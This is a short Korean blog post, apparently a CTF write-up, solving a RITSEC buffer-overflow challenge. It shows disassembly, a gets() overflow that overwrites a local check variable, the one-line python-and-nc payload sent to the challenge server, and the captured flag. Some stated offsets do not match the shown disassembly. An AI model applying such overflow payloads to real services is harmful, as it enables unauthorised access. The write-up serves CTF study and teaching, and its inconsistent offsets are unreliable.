쥬릅.. 사진을 올릴 수 가 없다.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : Partial
우선 문제의 배점 및 checksec을 봤을 때 BOF 겠지? 라는 생각을 했는데
역시는 감이 좋았다. 는 ... 운이 좋았다.
0x00000000000011b0 <+27>: lea rax,[rbp-0x20]
0x00000000000011b4 <+31>: mov rdi,rax
0x00000000000011b7 <+34>: mov eax,0x0
0x00000000000011bc <+39>: call 0x1080 <gets@plt>
gets 로 20byte가져오는데 이 값이 +44에서 rbp-0x8 변수와 비교를 한다.
그리고 fopen으로 텍스트 파일을 가져와서 출력해준다.
우리가 입력한 gets가 1이랑 비교를 하게 된다.
0x00000000000011c1 <+44>: cmp DWORD PTR [rbp-0x8],0x1
0x00000000000011c5 <+48>: jne 0x121b <main+134>
0x00000000000011c7 <+50>: lea rsi,[rip+0xe50] # 0x201e
0x00000000000011ce <+57>: lea rdi,[rip+0xe4b] # 0x2020
0x00000000000011d5 <+64>: call 0x1090 <fopen@plt>
0x00000000000011da <+69>: mov QWORD PTR [rbp-0x10],rax
0x00000000000011de <+73>: mov rax,QWORD PTR [rbp-0x10]
0x00000000000011e2 <+77>: mov rdi,rax
0x00000000000011e5 <+80>: call 0x1070 <fgetc@plt>
0x00000000000011ea <+85>: mov BYTE PTR [rbp-0x1],al
0x00000000000011ed <+88>: jmp 0x1209 <main+116>
0x00000000000011ef <+90>: movsx eax,BYTE PTR [rbp-0x1]
0x00000000000011f3 <+94>: mov edi,eax
0x00000000000011f5 <+96>: call 0x1030 <putchar@plt>
0x00000000000011fa <+101>: mov rax,QWORD PTR [rbp-0x10]
0x00000000000011fe <+105>: mov rdi,rax
0x0000000000001201 <+108>: call 0x1070 <fgetc@plt>
0x0000000000001206 <+113>: mov BYTE PTR [rbp-0x1],al
0x0000000000001209 <+116>: cmp BYTE PTR [rbp-0x1],0xff
0x000000000000120d <+120>: jne 0x11ef <main+90>
0x000000000000120f <+122>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000001213 <+126>: mov rdi,rax
0x0000000000001216 <+129>: call 0x1050 <fclose@plt>
gets 함수를 통해 BOF를 해준다. 다행히도 rbp-0x20 위치이기 때문에 rbp-0x8을 덮을 수 있다. :)
(python -c 'print"D"*28 + "\x01"';cat) | nc fun.ritsec.club 8001
Please enter your API key
RITSEC{Woah_Dud3_it's_really_that_easy?_am_i_leet_yet?}
'[ ★ ]Study > CTF' 카테고리의 다른 글
Pwntools 설치(install) (0) | 2019.04.03 |
---|---|
X-MAS 2018 Greetings from Santa (0) | 2019.01.01 |
TUCTF2018 Shella_Easy(pwn) (0) | 2018.12.15 |
TUCTF2018 - ehh (0) | 2018.12.15 |
P.W.N CTF ImportantService(pwn) (0) | 2018.12.01 |
댓글